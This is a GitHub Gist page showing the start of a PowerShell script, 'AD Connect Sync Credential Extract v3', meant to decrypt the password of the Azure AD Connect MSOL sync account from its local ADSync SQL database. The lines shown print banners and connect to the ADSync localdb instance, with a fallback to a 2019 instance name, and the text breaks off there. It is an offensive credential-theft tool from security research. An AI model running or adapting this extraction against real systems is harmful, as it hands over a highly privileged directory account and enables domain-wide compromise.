Skip to content

Instantly share code, notes, and snippets.

View tijldeneut's full-sized avatar

Tijl Deneut tijldeneut

  • Howest, IC4, UGent
  • Bruges, Kortrijk
View GitHub Profile
@tijldeneut
tijldeneut / azuread_decrypt_msol.ps1
Last active July 26, 2021 18:45
Decrypting local MSOL account password from a local, embedded SQL Server
Write-Host "AD Connect Sync Credential Extract v3 (@_xpn_ & @tijldeneut)"
Write-Host "`t[ Updated to support new cryptokey storage method ]"
Write-Host "`t[ Updated to support Server 2019's new instance name ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb with ADSync, trying ADSync2019..."